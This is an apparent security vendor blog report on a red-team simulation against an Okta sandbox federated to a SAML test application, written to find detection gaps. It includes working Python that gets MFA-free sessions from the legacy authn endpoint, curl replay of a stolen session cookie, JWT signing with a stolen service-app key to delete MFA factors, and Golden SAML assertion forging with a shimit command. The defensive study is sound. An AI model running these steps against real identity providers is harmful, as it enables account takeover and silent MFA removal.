How AI is changing the SOC operating model. Listen now →

close

How AI is changing the SOC operating model. Listen now →

close

BLOG

Through the Looking Glass: Simulating an Adversary in Okta

Zaynah

Smith-DaSilva

Abstract

This report documents a multi-stage adversary attack chain simulation targeting an Okta-federated Azure environment, designed to evaluate detection coverage and identify visibility gaps across the Panther AI SOC platform. The simulation progressed through credential access, persistence, and lateral movement, beginning with a session cookie theft (T1539), and escalating to OAuth2 service application abuse using private key JWT authentication to silently delete the victim's MFA factor via the Okta management API (T1098.003). The final stage executed a Golden SAML attack (T1606.002) in which an attacker-controlled signing certificate was registered with the target service provider, enabling the creation of a fully forged, cryptographically valid SAML assertion that authenticated as the victim user against an Azure-integrated application without presenting any credentials. All stages were executed against isolated test infrastructure using the Okta integrator sandbox and the Azure SAML Toolkit. Findings confirm that while Panther detected the downstream MFA deletion action, the OAuth2 authentication mechanism, session theft, and Golden SAML lateral movement produced no alerts, representing critical gaps in the current detection coverage for this attack pattern.   

Research Objectives

1. Validate attack chain feasibility: Executing each stage of an Okta-to-Azure adversary simulation end-to-end against isolated test infrastructure to confirm the real-world exploitability of each technique.                                                                                                                       

2. Assess Panther detection coverage: Determine which stages of the attack chain produce alertable signals in Panther and which pass through undetected, using live alert query results as evidence.

3. Document Golden SAML as an undetected lateral movement path: Establish a concrete, reproducible proof of concept demonstrating that a forged SAML assertion can authenticate against an Azure-integrated application with no credential exposure and no alerting from the current detection stack.          

4. Inform future detection development: Produce prioritized findings that can guide the authoring of new Panther rules to close the identified gaps across MFA fatigue, OAuth2 service app abuse, and forged SAML credential use.    

Setup

Adversary Simulation Tooling

This section highlights the Okta to Azure SAML Federation process needed to conduct the simulated attack chain.

Panther-Okta-SAML Setup

Azure AD Steps

  1. Navigated to Entra ID → Enterprise Applications → New Application

  2. Searched for and selected "Microsoft Entra SAML Toolkit" from the gallery, renamed it to Panther-Okta-SAML before creating

  3. Configured Basic SAML (Single sign-on → Section 1 → Edit):

    • Identifier (Entity ID): https://samltoolkit.azurewebsites.net                

    • Reply URL (ACS URL): https://samltoolkit.azurewebsites.net/SAML/Consume    

    • Sign on URL: https://samltoolkit.azurewebsites.net/                                                                     

  4. Collected Azure AD IdP values from Section 4 of the SAML SSO page:

    • Login URL

    • Azure AD Identifier

    • Logout URL                                                                                                       

  5. Downloaded the Raw certificate from Section 3 (SAML Certificates)

SAML Toolkit Steps (samltoolkit.azurewebsites.net)

  1. Registered a local account using the main Azure AD user email (must match exactly)

  2. Logged in with local credentials

  3. Created SAML Configuration (SAML Configuration tab) using the Azure AD IdP values from Step 4:

    • Login URL

    • Azure AD Identifier

    • Logout URL

    • Uploaded Raw Certificate file

Okta Steps

  1. Created a new SAML 2.0 App Integration (Applications → Create App Integration → SAML 2.0)

  2. Named the app (e.g. Panther-Azure-SAML)

  3. Configured SAML settings:

    • Single sign-on URL: https://samltoolkit.azurewebsites.net/SAML/Consume

    • Audience URI (SP Entity ID): https://samltoolkit.azurewebsites.net 

    • "Use this for Recipient URL and Destination URL" checked                                                                             

SAML Toolkit Step: Okta IdP Configuration (Stage 6 Target)                                                                                                                                                                      

  1. Registered a second local account in the SAML Toolkit 

  2. Logged in with those local credentials                                                                                                                           

  3. Created a new SAML Configuration using Okta IdP values: 

    • Login URL: Okta SSO URL for the e-SAML app integration

    • IdP Identifier: http://www.okta.com/-

    • Uploaded the Okta app signing certificate                                                                                                                        

  4. Noted the assigned configuration ID (21541) and per-user ACS URL: https://samltoolkit.azurewebsites.net/SAML/Consume/<configuration_id>

  5. Added the attacker-controlled verification certificate to this configuration, enabling the Golden SAML forgery in Stage 6 

Validation

  1. Tested SSO via myapps.microsoft.com as main account → clicked Panther-Okta-SAML tile → successfully authenticated into SAML Toolkit      

  2. Tested SP-initiated SSO via https://samltoolkit.azurewebsites.net/SAML/Login/<configuration_id>   as user → redirected to Okta → successfully authenticated into SAML Toolkit via Okta federation   

Attack Chain Methodology

Recon

Prior to gaining any authenticated access, the attacker conducted passive and active reconnaissance against the target organization to identify users, enumerate the Okta environment, and establish the preconditions for credential access. For simulation purposes, Dorothy was used to represent the intelligence an attacker would gather through a combination of open-source research, credential exposure scanning, and targeted phishing.     

User and Group Enumeration                                                                                                                                           

The attacker identified two active accounts within the organization and enumerated the group structure. Both accounts held administrator-level privileges within the Okta environment. The testvictim00@proton.me account was selected as the target for initial access, as operating through a secondary administrator account provided a degree of separation from the primary account while retaining the elevated permissions necessary for later stages of the attack chain.

whoami

dorothy > whoami
[*] Attempting to get user information associated with current API token
[*] User information for ID 00u1221i03zPDTuts698, login adminuser@admin.com:
    ID: 00u1221i03zPDTuts698
    Status: ACTIVE
    Login: adminuser@admin.com
    Last login: 2026-04-27T15:16:58.000Z
    Last password change: 2026-04-17T17:17:31.000Z
[*] Attempting to get roles for user ID 00u1221i03zPDTuts698
[*] Roles assigned to user ID 00u1221i03zPDTuts698:
    ID: ra11221i041SSTQeK698
    Label: Super Administrator
    Type: SUPER_ADMIN
    Status: ACTIVE
    Assignment type: USER
[*] Attempting to get group memberships for user ID 00u1221i03zPDTuts698
[*] Group memberships for user ID 00u1221i03zPDTuts698:
    Group ID: 00g1221i021Nf7H4N698
    Type: BUILT_IN
    Name: Everyone
    Description: All users in your organization
[*] Group memberships for user ID 00u1221i03zPDTuts698:
    Group ID: 00g1221i021Nf7H4N698
    Type: BUILT_IN
    Name: Everyone
    Description: All users in your organization

getusers

dorothy > discovery > get-users > execute
[*] Do you want to attempt to harvest information for all users? This may take a while to avoid exceeding API rate limits [Y/n]: Y
[*] Attempting to harvest all Okta users
[*] Retrieved information for 2 users
[*] No more users found
[*] Total users harvested: 2
[*] Do you want to print harvested user information? [Y/n]: Y
[*] User information for ID 00u1221i03zPDTuts698, login adminuser@admin.com:
    ID: 00u1221i03zPDTuts698
    Status: ACTIVE
    Login: adminuser@admin.com
    Last login: 2026-04-29T16:59:47.000Z
    Last password change: 2026-04-17T17:17:31.000Z
[*] User information for ID 00u12gj9s6nitGzy9698, login testvictim00@proton.me:
    ID: 00u12gj9s6nitGzy9698
    Status: ACTIVE
    Login: testvictim00@proton.me
    Last login: 2026-04-29T16:37:25.000Z
    Last password change: 2026-04-29T15:47:41.000Z

getgroups

dorothy > discovery > get-groups > execute
[*] Do you want to attempt to harvest information on all groups? This may take a while to avoid exceeding API rate limits [Y/n]: Y
[*] Attempting to harvest all Okta groups
[*] Retrieved information for 2 groups
[*] No more groups found
[*] Total groups harvested: 2
[*] Do you want to print harvested group information? [Y/n]: Y
    Group ID: 00g1221i021Nf7H4N698
    Type: BUILT_IN
    Name: Everyone
    Description: All users in your organization
    Group ID: 00g1221i022rn4qu1698
    Type: BUILT_IN
    Name: Okta Administrators
    Description: Okta manages this group, which contains all administrators in your organization

 MFA Posture Assessment                                                                                                                                               

Enumeration confirmed that all users in the organization had at least one MFA factor enrolled, ruling out direct password-only access. The presence of an Okta Verify push factor on the target account was noted and recorded for a later stage. Once an Okta API token was extracted, the enrolled factor could be programmatically deleted via the management API, removing MFA as a barrier to re-authentication entirely.   

find-users-without-mfa

dorothy > discovery > find-users-without-mfa > execute
[*] Available options
[1] Load harvested users from a json file and check their enrolled MFA factors
[2] Harvest all users and check their enrolled MFA factors
[0] Exit this menu
[*] Choose from the above options: 2
[*] Do you want to attempt to harvest information for all users? This may take a while to avoid exceeding API rate limits [Y/n]: Y
[*] Attempting to harvest all Okta users
[*] Retrieved information for 2 users
[*] No more users found
[*] Total users harvested: 2
[*] Do you want to print harvested user information? [Y/n]: Y
[*] User information for ID 00u1221i03zPDTuts698, login adminuser@admin.com:
    ID: 00u1221i03zPDTuts698
    Status: ACTIVE
    Login: adminuser@admin.com
    Last login: 2026-04-29T16:59:47.000Z
    Last password change: 2026-04-17T17:17:31.000Z
[*] User information for ID 00u12gj9s6nitGzy9698, login testvictim00@proton.me:
    ID: 00u12gj9s6nitGzy9698
    Status: ACTIVE
    Login: testvictim00@proton.me
    Last login: 2026-04-29T16:37:25.000Z
    Last password change: 2026-04-29T15:47:41.000Z
[*] Do you want to save harvested user information to a file? [Y/n]: n
[*] Checking enrolled MFA factors for 2 users. This may take a while to avoid exceeding API rate limits
[*] Checking for users without MFA enrolled  [####################################]  100%          
[*] No users found without any MFA factors enrolled

Initial Access

 Using the identified username, the attacker conducted targeted research across breach databases, credential exposure repositories, and paste sites to locate previously leaked passwords associated with the account. A valid plaintext password was identified through this process. The combination of a confirmed username, a valid password, and a known push-capable MFA enrollment established the full precondition for the session theft stage documented in the following section. 

Legacy Endpoint MFA Bypass and Session Theft

Technique Overview                                                                                                                                                                                                                                                                      

Okta's legacy /api/v1/authn endpoint predates the Identity Engine and does not enforce modern sign-on or authentication policies in the same way as the newer /oauth2/v1/authorize flows. When valid credentials are submitted to this endpoint, it can return a SUCCESS status with a usable session token directly without evaluating the policy-level MFA requirements configured in the Okta admin console. This creates a bypass condition: MFA enrollment exists on the account, but the legacy endpoint never triggers the challenge, allowing an attacker with valid credentials to obtain an authenticated session as if MFA were not configured. The technique requires only valid credentials, both of which were established during the reconnaissance and credential discovery stages, and a tenant that has not disabled the legacy authentication API.                                                                                                                                               

Execution     

The Stage 3 script submitted the target credentials to Okta's legacy /api/v1/authn endpoint. Rather than triggering the expected MFA challenge, the endpoint returned a valid session token directly, bypassing enrolled MFA policy entirely. This is a known behavior of the legacy authentication API: it does not enforce modern sign-on policies in the same way as the newer identity engine flows, meaning that policy-level MFA requirements configured in the Okta admin console did not apply. The MFA fatigue component of the script was not reached because authentication succeeded at the credential stage alone.              

def primary_auth(password: str) -> dict:
      resp = requests.post(                                                                                                                                            
          f"{OKTA_ORG}/api/v1/authn",
          json={                                                                                                                                                       
              "username": USERNAME,                                                                                                                                  
              "password": password,                                                                                                                                    
              "options": {"multiOptionalFactorEnroll": False, "warnBeforePasswordExpired": False},                                                                   
          },                                                                                                                                                           
          headers={"Content-Type": "application/json", "Accept": "application/json"},
      )                                                                                                                                                                
      return resp.json()                                                                                                                                             
                                                                                                                                                                       
   
  def exchange_for_session(session_token: str) -> dict:                                                                                                                
      resp = requests.post(                                                                                                                                          
          f"{OKTA_ORG}/api/v1/sessions",
          json={"sessionToken": session_token},
          headers={"Content-Type": "application/json", "Accept": "application/json"},                                                                                  
      )
      return resp.json()

Session Cookie Theft

  The session token returned by /api/v1/authn was immediately exchanged for a persistent session cookie via /api/v1/sessions. The resulting sid cookie value provided full browser and API-level access to the target account with no further authentication required.

Running the Script/Script Output
============================================================
  Stage 3: MFA Fatigue + Session Cookie Theft
  Target:  testvictim00@proton.me
  Org:     <org name>
============================================================
[*] Enter target password: 
[*] Initiating primary authentication...
[!] No MFA required — session token returned directly
[+] Session token: <session token here>...
[*] Exchanging session token for session cookie...
============================================================
  [+] SESSION COOKIE CAPTURED
============================================================
  User:       testvictim00@proton.me
  Session ID: <session id>
  Expires:    2026-04-29T18:20:00.000Z
  Browser injection:
    Name:   sid
    Value:  <value>

Querying the API

Command

curl -s https://integrator-7564746.okta.com/api/v1/users/me -H "Accept: application/json" -H "Cookie: sid=102eQ1vDLdqRa6Sef76SyhcZw"

Output

{"id":"00u12gj9s6nitGzy9698","status":"ACTIVE","created":"2026-04-29T15:45:28.000Z","activated":"2026-04-29T15:45:29.000Z","statusChanged":"2026-04-29T15:47:41.000Z","lastLogin":"2026-04-29T16:37:25.000Z","lastUpdated":"2026-04-29T15:47:41.000Z","passwordChanged":"2026-04-29T15:47:41.000Z","type":{"id":"oty1221i02bkdFciK698"},"profile":{"firstName":"Test","lastName":"Victim","mobilePhone":null,"secondEmail":null,"login":"testvictim00@proton.me","email":"testvictim00@proton.me"},"credentials":{"password":{},"provider":{"type":"OKTA","name":"OKTA"}},"_links":{"suspend":{"href":"https://integrator-7564746.okta.com/api/v1/users/00u12gj9s6nitGzy9698/lifecycle/suspend","method":"POST"},"schema":{"href":"https://integrator-7564746.okta.com/api/v1/meta/schemas/user/osc1221i02bkdFciK698"},"resetPassword":{"href":"https://integrator-7564746.okta.com/api/v1/users/00u12gj9s6nitGzy9698/lifecycle/reset_password","method":"POST"},"forgotPassword":{"href":"https://integrator-7564746.okta.com/api/v1/users/00u12gj9s6nitGzy9698/credentials/forgot_password","method":"POST"},"expirePassword":{"href":"https://integrator-7564746.okta.com/api/v1/users/00u12gj9s6nitGzy9698/lifecycle/expire_password","method":"POST"},"changeRecoveryQuestion":{"href":"https://integrator-7564746.okta.com/api/v1/users/00u12gj9s6nitGzy9698/credentials/change_recovery_question","method":"POST"},"self":{"href":"https://integrator-7564746.okta.com/api/v1/users/00u12gj9s6nitGzy9698"},"resetFactors":{"href":"https://integrator-7564746.okta.com/api/v1/users/00u12gj9s6nitGzy9698/lifecycle/reset_factors","method":"POST"},"type":{"href":"https://integrator-7564746.okta.com/api/v1/meta/types/user/oty1221i02bkdFciK698"},"changePassword":{"href":"https://integrator-7564746.okta.com/api/v1/users/00u12gj9s6nitGzy9698/credentials/change_password","method":"POST"},"deactivate":{"href":"https://integrator-7564746.okta.com/api/v1/users/00u12gj9s6nitGzy9698/lifecycle/deactivate","method":"POST"}}}

Session Validation

The stolen cookie was validated against the Okta management API, confirming full account-level access. The response exposed a complete set of privileged lifecycle action links available to the attacker:

  •   resetPassword: force a password reset                                                                                                                           

  •   resetFactors: wipe all MFA enrollments

  •   suspend / deactivate: lock the victim out

  •   changePassword / changeRecoveryQuestion: full account takeover

The Okta legacy /api/v1/authn endpoint bypasses enforced MFA policy, returning a valid session token on credentials alone. The stolen session grants full API-level account control (T1078.004 + T1539) chained together silently.            

Okta Log Analysis

Okta generated three log events at the moment of authentication: user.session.start, policy.evaluate_sign_on (result: ALLOW), and user.authentication.verify. All three resolved successfully and appear indistinguishable from a legitimate login originating from the same IP and user agent. Critically, no events were generated for any subsequent API operations performed using the stolen session cookie. Session creation is logged; session abuse is not. This means the full scope of what the attacker accessed after obtaining the cookie is invisible in the Okta system log.                       

User session start

{
	"p_event_time": "2026-04-29 16:20:00.565",
	"p_source_label": "Okta Adversary Logs",
	"actor_email": "testvictim00@proton.me",
	"actor_name": "Test Victim",
	"city": "SampleCity",
	"country": "United States",
	"displayMessage": "User login to Okta",
	"eventType": "user.session.start",
	"ip_address": "<ip address>",
	"outcome_result": "SUCCESS",
	"severity": "INFO"
}

Policy evaluate sign on

{
	"p_event_time": "2026-04-29 16:20:00.62",
	"p_source_label": "Okta Adversary Logs",
	"actor_email": "testvictim00@proton.me",
	"actor_name": "Test Victim",
	"city": "SampleCity",
	"country": "United States",
	"displayMessage": "Evaluation of sign-on policy",
	"eventType": "policy.evaluate_sign_on",
	"ip_address": "<ip address>",
	"outcome_reason": "Sign-on policy evaluation resulted in ALLOW",
	"outcome_result": "ALLOW",
	"severity": "INFO"
}

User authentication verify

{
	"p_event_time": "2026-04-29 16:20:00.627",
	"p_source_label": "Okta Adversary Logs",
	"actor_email": "testvictim00@proton.me",
	"actor_name": "Test Victim",
	"city": "SampleCity",
	"country": "United States",
	"displayMessage": "Verify user identity",
	"eventType": "user.authentication.verify",
	"ip_address": "<ip address>",
	"outcome_result": "SUCCESS",
	"severity": "INFO"
}

The legacy /api/v1/authn endpoint bypassed enforced MFA policy, returning a valid session token on credentials alone. The combination of T1078.004 (Valid Cloud Accounts) and T1539 (Steal Web Session Cookie) produced a persistent, API-capable foothold with no detection signal beyond a single successful login event.

Persistence 

OAuth2 Token Generation + MFA Factor Deletion

Using credentials extracted from a compromised machine, the attacker can obtain a scoped OAuth2 Bearer token via Okta's Org Authorization Server and use it to silently delete the victim's MFA push factor allowing for the enabling of an attacker-controlled device re-enrollment.        

Service Application Identification                                                                                                                                                               

  The attacker identifies an existing Okta API Services application on the compromised host. Service apps of this type are used for machine-to-machine automation and are commonly found in CI/CD configs, infrastructure repos, or secret stores. The app had been granted the following management API scopes on the Org Authorization Server:                                                                                                                            

  •   okta.users.manage                                                                                                                                                  

  •   okta.factors.manage

The app also had a Super Administrator role assigned, allowing full user management operations.                   

Private Key Extraction

The service app was configured for private_key_jwt client authentication (Okta's Org Authorization Server requirement for service apps). The attacker extracts the corresponding EC P-256 private key (PEM file) from the compromised machine.                                                                                          

                                                                             

Generating a Signed client_assertion JWT   

The attacker constructs a client_assertion JWT signed with the stolen private key:  

def make_client_assertion() -> str:
   with open(KEY_PATH, "rb") as f:
       private_key = serialization.load_pem_private_key(f.read(), password=None)
   now = int(time.time())
   header = {"alg": "ES256", "kid": KID}
   payload = {
       "iss": CLIENT_ID,
       "sub": CLIENT_ID,
       "aud": TOKEN_ENDPOINT,
       "iat": now,
       "exp": now + 300,
       "jti": str(uuid.uuid4()),
   }
   header_b64 = b64url(json.dumps(header, separators=(",", ":")).encode())
   payload_b64 = b64url(json.dumps(payload, separators=(",", ":")).encode())
   signing_input = f"{header_b64}.{payload_b64}".encode()
   der_sig = private_key.sign(signing_input, ec.ECDSA(hashes.SHA256()))
   r, s = decode_dss_signature(der_sig)
   raw_sig = r.to_bytes(32, "big") + s.to_bytes(32, "big")
   return f"{header_b64}.{payload_b64}.{b64url(raw_sig)}"

The make_client_assertion function constructs a signed JWT from scratch demonstrating exactly how the private key abuse works at a technical level. It loads the stolen EC P-256 PEM key from disk, builds the standard client_assertion header and payload claims, and base64url-encodes each component individually. The header and payload are concatenated into the signing input and passed directly to an ES256 signing operation using the extracted private key. The resulting DER-encoded signature is converted to the raw 64-byte R+S format required by the JWT specification before being appended as the third component of the final token. The completed JWT is indistinguishable from one generated by a legitimate service application, since it is signed with the same key Okta has on file with the only difference being that the private key no longer belongs to an authorized party.                                                                                                                                                                 

Exchange for Bearer Token                                                                                                                                 

The get_access_token function submits the signed client_assertion JWT to Okta's token endpoint using the client_credentials grant, requesting the okta.users.manage and okta.factors.manage scopes.                                                                                                                                                                  

def get_access_token() -> dict:
   assertion = make_client_assertion()
   resp = requests.post(
       TOKEN_ENDPOINT,
       data={
           "grant_type": "client_credentials",
           "client_id": CLIENT_ID,
           "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer",
           "client_assertion": assertion,
           "scope": SCOPES,
       },
       headers={"Content-Type": "application/x-www-form-urlencoded"},
   )
   return resp.json()

Okta validates the JWT signature against the registered public key and returns a Bearer access token valid for 3600 seconds with the requested management scopes with no user interaction, no MFA prompt, no session required.                                                                                                             

Enumerating the Target User's MFA Factors                                                                                                                                                           

Using the Bearer token, the attacker calls the Okta Management API to list enrolled factors for the target user:                                                                                                                                                                                    

def list_factors(access_token: str) -> tuple[int, any]:
   resp = requests.get(
       f"{OKTA_ORG}/api/v1/users/{TARGET_USER_ID}/factors",
       headers={"Authorization": f"Bearer {access_token}"},
   )
   return resp.status_code, resp.json()

Deleting the MFA Factor                                                                                                                                     

The delete_factor function uses the Bearer token to issue a single authenticated DELETE request to the Okta Management API, targeting the victim's enrolled Okta Verify push factor by its specific factor ID. A successful response of HTTP 204 confirms the factor has been permanently removed with no notification to the victim and no user interaction required.                                               

def delete_factor(access_token: str) -> tuple[int, str]:
   resp = requests.delete(
       f"{OKTA_ORG}/api/v1/users/{TARGET_USER_ID}/factors/{FACTOR_ID}",
       headers={"Authorization": f"Bearer {access_token}"},
   )
   return resp.status_code, resp.text

Outcome                                                                                                                                                                

The victim's Okta Verify push factor was silently removed with no user-facing notification. The attacker can now re-enroll their own device as an MFA authenticator on the victim's account, retain persistent admin-level access to Okta independent of the stolen session cookie                                                                          , and perform further account manipulation using the same Bearer token for its remaining 3600-second validity window.                                                    

Running the Script/Script Output

  [*] Building client_assertion JWT with private key...                                                                                                              
                                                                                                                                                                       
  [*] Requesting Bearer token via client_credentials...                                                                                                              
  [+] Access token obtained                                                                                                                                            
      Token type: Bearer   
      Scopes:     okta.users.manage okta.factors.manage                                                                                                                
      Expires in: 3600s                                                                                                                                              
      Token:      eyJraWQiOiJBUmdVY2pW...
                                         
  [*] Listing factors for target user...                                                                                                                               
      [opf12gkz06qSKtnhL698] push / OKTA — ACTIVE
      [ost12gkz06rJel8SK698] token:software:totp / OKTA — ACTIVE                                                                                                       
                                                                                                                                                                     
  [*] Deleting MFA factor via Bearer token...                                                                                                                          
  [+] SUCCESS — MFA factor deleted (HTTP 204)
      Victim's Okta Verify push factor has been removed                                                                                                                
      Attacker can now re-enroll their own device to the account                                                                                                     
                                                                
  [*] Bearer token available for further admin operations:                                                                                                             
      Authorization: Bearer <redacted>   

Okta Log Analysis

The Okta system log recorded a single user.mfa.factor.deactivate event at the moment of deletion, confirming the operation succeeded. The actor field attributed the action to the service application client ID rather than a named user, with alternateId resolving to unknown — meaning any analyst triaging the alert would see the app display name "Okta Attack Simulation" but no human identity to investigate or correlate back to the compromised administrator account. The client user agent of python-requests/2.32.4 clearly indicates automated API access rather than a browser session, an anomaly signal that the firing detection (Okta.User.MFA.Reset.Single) does not surface in its alert title or context. The requestUri in the debug context does preserve the exact factor ID targeted, which would allow an investigator examining the raw event to confirm precisely which factor was removed, but this detail is not promoted into the alert itself.

user.mfa.factor.deactivate

 {
      "p_event_time": "2026-05-04 17:13:53.274",
      "p_source_label": "Okta Adversary Logs",
      "eventType": "user.mfa.factor.deactivate",
      "displayMessage": "Reset factor for user",
      "outcome": {
          "result": "SUCCESS",
          "reason": "User reset OKTA_SOFT_TOKEN factor"
      },
      "actor": {
          "id": "0oa12mpul35K5UhuT698",
          "type": "PublicClientAppEntity",
          "alternateId": "unknown",
          "displayName": "Okta Attack Simulation"
      },
      "target": {
          "id": "00u12gj9s6nitGzy9698",
          "alternateId": "testvictim00@proton.me",
          "displayName": "Test Victim"
      },
      "client": {
          "ipAddress": "<ip_address_here>",
          "userAgent": "python-requests/2.32.4",
          "device": "Unknown"
      },
      "debugContext": {
          "requestUri": "/api/v1/users/00u12gj9s6nitGzy9698/factors/opf12gkz06qSKtnhL698"
      }
  }

Approximated Golden SAML Attack                                                                                                                                                               

At this stage the attacker's goal is to forge a cryptographically valid SAML assertion that impersonates a target user, bypassing authentication entirely. True Golden SAML requires the attacker to have already achieved privileged access to the IdP which was established in the prior stage.                                                                                                                                                 

Extracting the Okta Saml Signing Private Key                                                                                                 

Having obtained Super Administrator access to the Okta organization, the attacker extracts the SAML signing private key used by the Okta app integration to sign assertions. In real-world attacks against AD FS-backed environments this is performed using tools such as ADFSDump or AADInternals to pull the token-signing certificate directly from the federation service. Against a SaaS IdP like Okta, the key material is accessed through the application's signing certificate configuration, exported from the admin console, or extracted from a host that stores it as part of an automation workflow.                                         

The critical property of this key is that the service provider already has the corresponding public certificate registered and trusted. No changes to the SP configuration are required and the attacker is not substituting a new certificate, they are using the one the SP already accepts.                                                                                                                                                               

Because Okta manages its signing keys internally and does not expose the raw private key material through the admin API, this simulation approximated the technique by generating an attacker-controlled RSA-2048 key pair and registering it as a verification certificate on the SP side. This replicates the resulting trust relationship where the SP accepts assertions signed by the attacker's key while acknowledging that in a real engagement the SP configuration would remain untouched and the stolen IdP key would be used directly.     

Forging the SAML Response

Using the signing key, the attacker constructs a complete SAML 2.0 Response XML document asserting a chosen identity:                                                       

  - Issuer: Okta's entity ID (http://www.okta.com/<entityid>)                                                                                                
  - NameID: target user email                                                                                                                                        
  - Destination: SP ACS URL                                                                                                                                            
  - Claims: emailaddress, UPN, givenname, surname, name                                                                                                              
  - Validity window: issued now, expiring in 10 minutes

The <saml:Assertion> element is signed with RSA-SHA256 using the stolen private key via signxml. From the SP's perspective the signature is valid, the issuer is trusted, and the assertion is indistinguishable from one generated by Okta itself.                                              

POST to ACS Endpoint                                                                                                                                        

The signed XML is base64-encoded and POSTed directly to the SP's Assertion Consumer Service URL. No browser, no IdP redirect, no user interaction needed. 

  POST https://samltoolkit.azurewebsites.net/SAML/Consume/21541                                                                                                        
  Content-Type: application/x-www-form-urlencoded                                                                                                                    
                                                                                                                                                                       
  SAMLResponse=<base64-encoded signed assertion>

Browser Verification

An auto-submit HTML form was opened in a fresh incognito window with no prior cookies or session state. The SAML Toolkit accepted the forged assertion and authenticated the session without any credential prompt.

Key Finding                                                                                                                                                          

In a true Golden SAML attack the SP configuration is never modified. The attacker operates entirely within the existing trust relationship between the IdP and SP, using the IdP's own stolen private key to produce assertions that are cryptographically legitimate under the certificate the SP already trusts. There is no anomalous certificate registration, no SP configuration change, and no authentication event at the IdP. The only observable artifact is a successful SAML POST to the ACS endpoint, which is indistinguishable from a normal federated login.

This simulation deviates from that ideal in one important respect. Okta manages its SAML signing keys internally and does not expose the raw private key material through the admin API, the admin console, or any supported export path. With Super Administrator access an attacker can rotate the signing certificate, view its public half, and configure which key is active, but cannot extract the corresponding private key directly from the tenant. To reproduce the downstream behavior (a forged assertion accepted by the SP without an IdP authentication event) the simulation generated an attacker-controlled RSA-2048 key pair and registered the public certificate on the SP as an additional verification certificate. The SP then accepted assertions signed by the attacker's key, producing the same end-state trust condition as a true Golden SAML attack.

The trade-off is that the simulation introduces an observable that the real technique does not produce: a certificate registration event on the SP. In a true Golden SAML attack against an AD FS-backed environment, where the token-signing private key can be pulled directly with ADFSDump or AADInternals, no such SP-side change occurs and the entire attack is invisible to both the IdP and SP audit logs. The remainder of the attack chain including forging the SAML Response, asserting an arbitrary identity, and consuming the resulting SP session is faithful to the real technique and produces the same authentication-log gap at the IdP.

Running the Script/Script Output

============================================================
  Stage 6: Golden SAML Artifact Generation
============================================================
[*] Generating attacker RSA-2048 signing cert...
[+] Private key: /.../golden_saml_key.pem
[+] Certificate: /.../golden_saml_cert.pem
[*] Creating forged IdP metadata XML...
    EntityID (spoofed Okta): http://www.okta.com/exk12de9nc8c8ZSb9698
[+] Metadata saved: /.../golden_saml_forged_metadata.xml
[+] Config saved: /.../golden_saml_config.json
============================================================
  NEXT STEP: Import forged metadata into Azure
============================================================
  1. Azure Portal Enterprise Applications  [SAML Toolkit app]
  2. Single sign-on Section 3 (SAML Certificates) Edit
  3. Look for "Upload metadata file" or "Verification certificates"
  4. Upload: /.../golden_saml_forged_metadata.xml
  OR manually under Section 1 (Basic SAML Configuration):
  - Click "Upload metadata file" if available
  - Upload: /.../golden_saml_forged_metadata.xml
  After Azure trusts our cert, run shimit:
  python3 /tmp/shimit/shimit.py \
    -idp "http://www.okta.com/exk12de9nc8c8ZSb9698" \
    -sp "https://samltoolkit.azurewebsites.net" \
    -acs "https://samltoolkit.azurewebsites.net/SAML/Consume" \
    -pem "/.../golden_saml_key.pem" \
    -c "/.../golden_saml_cert.pem"

Golden SAML

============================================================
  Stage 6: Golden SAML Assertion Forger
  IdP (spoofed): http://www.okta.com/exk12de9nc8c8ZSb9698
  SP target:     https://samltoolkit.azurewebsites.net/SAML/Consume/21541
  Impersonating: zaynah.smith-dasilva@panther.io
============================================================
[*] Building SAML Response XML...
[*] Signing assertion with attacker private key...
[+] Assertion signed (RSA-SHA256)
[*] POSTing forged SAMLResponse to ACS URL...
[+] HTTP 200 Final URL: https://samltoolkit.azurewebsites.net/SAML/Consume/21541
[+] SUCCESS SAML Toolkit accepted the forged assertion!
    Authenticated as: zaynah.smith-dasilva@panther.io
    Final URL: https://samltoolkit.azurewebsites.net/SAML/Consume/21541
[*] Forged SAMLResponse (base64) for manual browser injection:
    Length: 6264 chars
    PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJv

Recap

 The SP used for this simulation was the public SAML Toolkit demo application (samltoolkit.azurewebsites.net), a third-party SAML 2.0 testing service hosted on Azure App Service. It is not Microsoft Entra ID; the Okta application is named "Azure" only because the original integration was intended to federate to Entra. The SAML Toolkit was substituted as the SP because it permits unrestricted verification-certificate registration and exposes a public ACS endpoint, which makes it possible to demonstrate the assertion-acceptance step without

 modifying a production federation. The mechanics demonstrated issuer trust, signature verification, NameID assertion acceptance, session establishment which are the same as any 

 compliant SAML 2.0 SP, including Entra ID.

Because the SP is an external web application unrelated to the Panther Azure tenant, this stage produces no events in Panther's azure_audit or azure_monitoractivity tables. In a real engagement where the SP is Entra ID, the corresponding detection surface would be a SignInLogs record with the Okta entity ID as federatedTokenIssuer which would be the only 

Azure-side artifact of the forged session, and is the artifact a defender would need to correlate against the upstream Okta certificate-management events to catch the attack.

The simulation demonstrates the session-establishment property of Golden SAML being that a signed SAML assertion alone is sufficient to authenticate as an arbitrary identity without credentials, MFA, IdP roundtrip, or prior session state while isolating the detection surface, showing that the realistic defensive signal lives entirely in IdP audit logs (Okta system.log), not at the SP. The key-theft step and the no-SP-modification property are approximated rather than reproduced, but the resulting authentication and the upstream detection chain are faithful to the real technique.

Detections 

Panther Detections

The following AI investigation skills are built from adversary emulation data, covering the complete Okta attack chain from capability acquisition through MFA bypass to initial access.

Okta Service App Dangerous Scope Token Grant

This detection detects the moment a service application acquires dangerous administrative OAuth2 scopes via the client_credentials grant type. It fires at capability acquisition before any destructive action occurs therefore making it the earliest warning signal in the attack chain.

The triggering event is app.oauth2.token.grant.access_token where:

debugContext:debugData:grantType = client_credentials

debugContext:debugData:grantedScopes contains any of: okta.users.manage , okta.factors.manage , okta.apps.manage , okta.groups.manage , or okta.policies.manage

outcome:result = SUCCESS

The client_credentials grant is machine-to-machine only with no user involved. When this grant returns a management scope, a service app has just proven it holds org-wide administrative API access. A key structural fingerprint: the target array for these grants contains only an Access Token entry with no User entry. Every normal authorization_code grant includes both, making this absence a reliable machine-token identifier.

Three successful grants were confirmed in adversary logs for the Okta Attack Simulation app.

Timestamp

Granted Scopes

Client Auth

User Agent

2026-05-04 17:09:51

okta.users.manage, okta.factors.manage

private_key_jwt

python-requests/2.32.4

2026-05-04 17:11:27

okta.users.manage, okta.factors.manage

private_key_jwt

python-requests/2.32.4

2026-05-04 17:13:51

okta.users.manage, okta.factors.manage

private_key_jwt

python-requests/2.32.4

Mitre ATT&CK Mapping

Technique

Description

T1550.001

